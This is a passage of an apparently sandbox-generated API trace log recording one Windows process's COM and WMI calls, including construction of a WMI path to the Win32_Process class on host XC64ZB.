Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0127.206] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4837f0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4b0360) returned 0x0 [0127.206] WbemDefPath:IUnknown:Release (This=0x1b4837f0) returned 0x0 [0127.206] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0360, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4b0360) returned 0x0 [0127.206] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0360, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0127.206] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0360, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0127.206] WbemDefPath:IUnknown:AddRef (This=0x1b4b0360) returned 0x3 [0127.206] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0360, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0127.206] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0360, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0127.206] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0360, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b483270) returned 0x0 [0127.206] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b483270, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.206] WbemDefPath:IUnknown:Release (This=0x1b483270) returned 0x3 [0127.206] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0127.206] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0127.207] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0360, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0127.207] WbemDefPath:IUnknown:Release (This=0x1b4b0360) returned 0x2 [0127.207] WbemDefPath:IUnknown:Release (This=0x1b4b0360) returned 0x1 [0127.207] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0127.207] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0127.207] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0360, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4b0360) returned 0x0 [0127.207] WbemDefPath:IUnknown:AddRef (This=0x1b4b0360) returned 0x3 [0127.207] WbemDefPath:IUnknown:Release (This=0x1b4b0360) returned 0x2 [0127.207] WbemDefPath:IWbemPath:SetText (This=0x1b4b0360, uMode=0x4, pszPath="") returned 0x0 [0127.207] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0127.207] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0127.207] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0127.207] IUnknown:Release (This=0x6124e8) returned 0x1 [0127.208] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b483450) returned 0x0 [0127.208] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b483450, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0127.208] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b483450, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4b0960) returned 0x0 [0127.208] WbemDefPath:IUnknown:Release (This=0x1b483450) returned 0x0 [0127.208] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4b0960) returned 0x0 [0127.208] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0127.208] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0127.209] WbemDefPath:IUnknown:AddRef (This=0x1b4b0960) returned 0x3 [0127.209] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0127.209] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0127.209] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b483610) returned 0x0 [0127.209] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b483610, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.209] WbemDefPath:IUnknown:Release (This=0x1b483610) returned 0x3 [0127.209] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0127.209] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0127.209] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0127.209] WbemDefPath:IUnknown:Release (This=0x1b4b0960) returned 0x2 [0127.209] WbemDefPath:IUnknown:Release (This=0x1b4b0960) returned 0x1 [0127.209] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0127.209] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0127.209] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4b0960) returned 0x0 [0127.209] WbemDefPath:IUnknown:AddRef (This=0x1b4b0960) returned 0x3 [0127.209] WbemDefPath:IUnknown:Release (This=0x1b4b0960) returned 0x2 [0127.209] WbemDefPath:IWbemPath:SetText (This=0x1b4b0960, uMode=0x4, pszPath="") returned 0x0 [0127.209] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0960, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0127.209] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0360, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0127.210] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4b0960, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0127.210] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b0960, puNameBufLength=0x1b30d560*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d560*=0x0, pName=0x0) returned 0x80041009 [0127.210] WbemDefPath:IWbemPath:SetServer (This=0x1b4b0960, Name="XC64ZB") returned 0x0 [0127.210] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0127.210] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0127.210] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0127.210] IUnknown:Release (This=0x6124e8) returned 0x1 [0127.210] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4836b0) returned 0x0 [0127.210] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4836b0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0127.210] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4836b0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4aeda0) returned 0x0 [0127.211] WbemDefPath:IUnknown:Release (This=0x1b4836b0) returned 0x0 [0127.211] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4aeda0) returned 0x0 [0127.211] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0127.211] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0127.211] WbemDefPath:IUnknown:AddRef (This=0x1b4aeda0) returned 0x3 [0127.211] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0127.211] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0127.211] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b483350) returned 0x0 [0127.211] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b483350, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.211] WbemDefPath:IUnknown:Release (This=0x1b483350) returned 0x3 [0127.211] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0127.211] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0127.211] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0127.211] WbemDefPath:IUnknown:Release (This=0x1b4aeda0) returned 0x2 [0127.211] WbemDefPath:IUnknown:Release (This=0x1b4aeda0) returned 0x1 [0127.211] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0127.211] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0127.211] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4aeda0) returned 0x0 [0127.211] WbemDefPath:IUnknown:AddRef (This=0x1b4aeda0) returned 0x3 [0127.212] WbemDefPath:IUnknown:Release (This=0x1b4aeda0) returned 0x2 [0127.212] WbemDefPath:IWbemPath:SetText (This=0x1b4aeda0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0127.212] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0960, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0127.212] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aeda0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0127.212] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aeda0, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0127.212] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aeda0, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0127.212] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4b0960) returned 0x0 [0127.212] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aeda0, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0127.212] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4aeda0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0127.212] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4aeda0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="ROOT") returned 0x0 [0127.212] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4b0960, uIndex=0x0, pszName="ROOT") returned 0x0 [0127.212] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4aeda0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0127.212] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4aeda0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="CIMV2") returned 0x0 [0127.212] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4b0960, uIndex=0x1, pszName="CIMV2") returned 0x0 [0127.212] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4b0960, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0127.212] WbemDefPath:IWbemPath:SetClassName (This=0x1b4b0960, Name="Win32_Process") returned 0x0 [0127.212] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b0960, uRequestedInfo=0x0, puResponse=0x1b30d640 | out: puResponse=0x1b30d640*=0x20c16) returned 0x0 [0127.212] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0960, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0127.212] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0960, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x22, pszText=0x0) returned 0x0 [0127.212] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0960, lFlags=4, puBuffLength=0x1b30d590*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0127.212] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b0960, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0x20c16) returned 0x0 [0127.212] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0960, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0127.212] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0960, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x14, pszText=0x0) returned 0x0 [0127.212] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0960, lFlags=8, puBuffLength=0x1b30d590*=0x14, pszText="0000000000000000000" | out: puBuffLength=0x1b30d590*=0x14, pszText="\\\\XC64ZB\\ROOT\\CIMV2") returned 0x0 [0127.212] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0660, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0127.212] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=16, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xb, pszText=0x0) returned 0x0 [0127.212] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=16, puBuffLength=0x1b30d590*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d590*=0xb, pszText="root\\cimv2") returned 0x0 [0127.213] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0960, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0127.213] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0960, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0127.213] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d4e8 | out: ppv=0x1b30d4e8*=0x6124e8) returned 0x0 [0127.213] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4d8 | out: pAptType=0x1b30d4d8*=1) returned 0x0 [0127.213] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d4e0 | out: ppvObject=0x1b30d4e0*=0x0) returned 0x80004002 [0127.213] IUnknown:Release (This=0x6124e8) returned 0x1 [0127.214] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8d8 | out: ppv=0x1b30c8d8*=0x1b4834b0) returned 0x0 [0127.214] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4834b0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9c0 | out: ppvObject=0x1b30c9c0*=0x0) returned 0x80004002 [0127.214] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4834b0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c998 | out: ppvObject=0x1b30c998*=0x1b4af8e0) returned 0x0 [0127.214] WbemDefPath:IUnknown:Release (This=0x1b4834b0) returned 0x0 [0127.214] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af8e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c740 | out: 